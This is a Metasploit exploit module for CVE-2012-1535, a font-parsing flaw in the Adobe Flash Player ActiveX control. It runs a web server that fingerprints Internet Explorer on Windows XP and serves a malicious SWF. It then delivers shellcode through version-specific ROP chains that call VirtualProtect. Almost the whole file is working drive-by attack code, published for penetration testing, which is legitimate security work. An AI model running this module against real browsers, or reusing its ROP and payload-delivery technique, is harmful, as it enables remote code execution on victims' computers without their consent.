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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player 11.3 Font Parsing Code Execution", 'Description'=> %q{ This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF, it is possible to gain arbitrary remote code execution under the context of the user, as exploited in the wild. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Alexander Gavrun', #Through iDefense 'sinn3r', 'juan vazquez' ], 'References' => [ [ 'CVE', '2012-1535' ], [ 'OSVDB', '84607'], [ 'BID', '55009'], [ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ], [ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ], [ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ] ], 'Payload'=> { 'Space'=> 1024 }, 'DefaultOptions'=> { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets'=> [ # Tested successfully on: # Flash 11.3.300.268 # Flash 11.3.300.265 # Flash 11.3.300.257 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop'=> nil } ], [ 'IE 7 on Windows XP SP3', { 'Rop'=> nil } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => true } ] ], 'Privileged' => false, 'DisclosureDate' => "Aug 9 2012", 'DefaultTarget'=> 0)) register_options( [ OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]), ], self.class) end def nop return make_nops(4).unpack("L")[0].to_i end def get_payload(t, flash_version=nil) if t['Rop'].nil? p = [ 0x0c0c0c0c, # mapped at 1e0d0000 0x0c0c0c0c, 0x0c0c0c0c, # mapped at 1e0d0008 ].pack("V*") p << payload.encoded else if datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/ print_status("Using Rop Chain For Flash: #{flash_version}") stack_pivot = [ 0x10004171, # POP EDI # POP ESI # RETN (1e0d0000) 0x0c0c0c0c, 0x1001d891, # xchg eax, esp # ret (1e0d0008) ].pack("V*") rop = [ 0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx) 0x106e3384, # <- *&VirtualProtect() 0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx) 0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx) 0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx) 0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx) 0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx) 0x00000201, # <- change size to mark as executable if needed (-> ebx) 0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx) 0x10955000, # W pointer (lpOldProtect) (-> ecx) 0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx) 0x10649004, # ROP NOP (-> edi) 0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx) 0x00000040, # newProtect (0x40) (-> edx) 0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx) nop,# NOPS (-> eax) 0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx) ].pack("V*") elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/ print_status("Using Rop Chain For Flash: #{flash_version}") stack_pivot = [ 0x10004171, # POP EDI # POP ESI # RETN (1e0d0000) 0x0c0c0c0c, 0x1001d6d3, # xchg eax, esp # ret (1e0d0008) ].pack("V*") rop = [ 0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx) 0x106e338c, # <- *&VirtualProtect() 0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx) 0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx) 0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx) 0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx) 0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx) 0x00000201, # <- change size to mark as executable if needed (-> ebx) 0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx) 0x10955000, # W pointer (lpOldProtect) (-> ecx) 0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx) 0x105c1812, # ROP NOP (-> edi) 0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx) 0x00000040, # newProtect (0x40) (-> edx) 0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx) nop,# NOPS (-> eax) 0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx) ].pack("V*") elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/ print_status("Using Rop Chain For Flash: #{flash_version}") stack_pivot = [ 0x10004171, # POP EDI # POP ESI # RETN (1e0d0000) 0x0c0c0c0c, 0x1001d755, # xchg eax, esp # ret (1e0d0008) ].pack("V*") rop = [ 0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx) 0x106e438c, # <- *&VirtualProtect() 0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx) 0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx) 0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx) 0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx) 0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx) 0x00000201, # <- change size to mark as executable if needed (-> ebx) 0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx) 0x1083c000, # RW pointer (lpOldProtect) (-> ecx) 0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx) 0x10308b0f, # ROP NOP (-> edi) 0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx) 0x00000040, # newProtect (0x40) (-> edx) 0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx) nop,# NOPS (-> eax) 0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx) ].pack("V*") else print_status("Default back to JRE ROP") stack_pivot = [ 0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000) 0x0c0c0c0c, 0x7c348b05, # xchg eax, esp # ret (1e0d0008) ].pack("V*") rop = [ 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0x00001000, # (dwSize) 0x7c347f98, # RETN (ROP NOP) 0x7c3415a2, # JMP [EAX] 0xffffffff, 0x7c376402, # skip 4 bytes 0x7c345255, # INC EBX # FPATAN # RETN 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN 0x7c344f87, # POP EDX # RETN 0x00000040, # flNewProtect 0x7c34d201, # POP ECX # RETN 0x7c38b001, # &Writable location 0x7c347f97, # POP EAX # RETN 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN 0x7c345c30, # ptr to 'push esp #ret ' ].pack("V*") end p = stack_pivot p << rop p << payload.encoded end return p end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1]#IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2]#IE 7 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3]#IE 8 on Windows XP SP3 else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] print_status("User-agent: #{agent}") my_target = get_target(agent) print_status("Client requesting: #{request.uri}") # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end # The SWF request itself if request.uri =~ /\.swf$/ print_status("Sending SWF") send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'}) return end # The TXT payload request if request.uri =~ /\.txt$/ flash_version = request.headers['x-flash-version'] shellcode = get_payload(my_target, flash_version).unpack('H*')[0] print_status("Sending Payload") send_response(cli, shellcode, { 'Content-Type' => 'text/plain' }) return end swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf" html = %Q| <html> <head> </head> <body> <object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}"> <param name="movie" value="#{swf_uri}"> </object> </body> </html> | html = html.gsub(/^\t\t/, '') # we need to handle direct /pay.txt requests proc = Proc.new do |cli, req| on_request_uri(cli, req) end add_resource({'Path' => "/pay.txt", 'Proc' => proc}) rescue nil print_status("Sending HTML") send_response(cli, html, {'Content-Type'=>'text/html'}) end def exploit @swf = create_swf print_status("SWF Loaded: #{@swf.length.to_s} bytes") super end def create_swf path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "trigger.swf" ) fd = ::File.open( path, "rb" ) swf = fd.read(fd.stat.size) fd.close return swf end def cleanup vprint_status("Removing txt resource") remove_resource('/pay.txt') rescue nil super end end |
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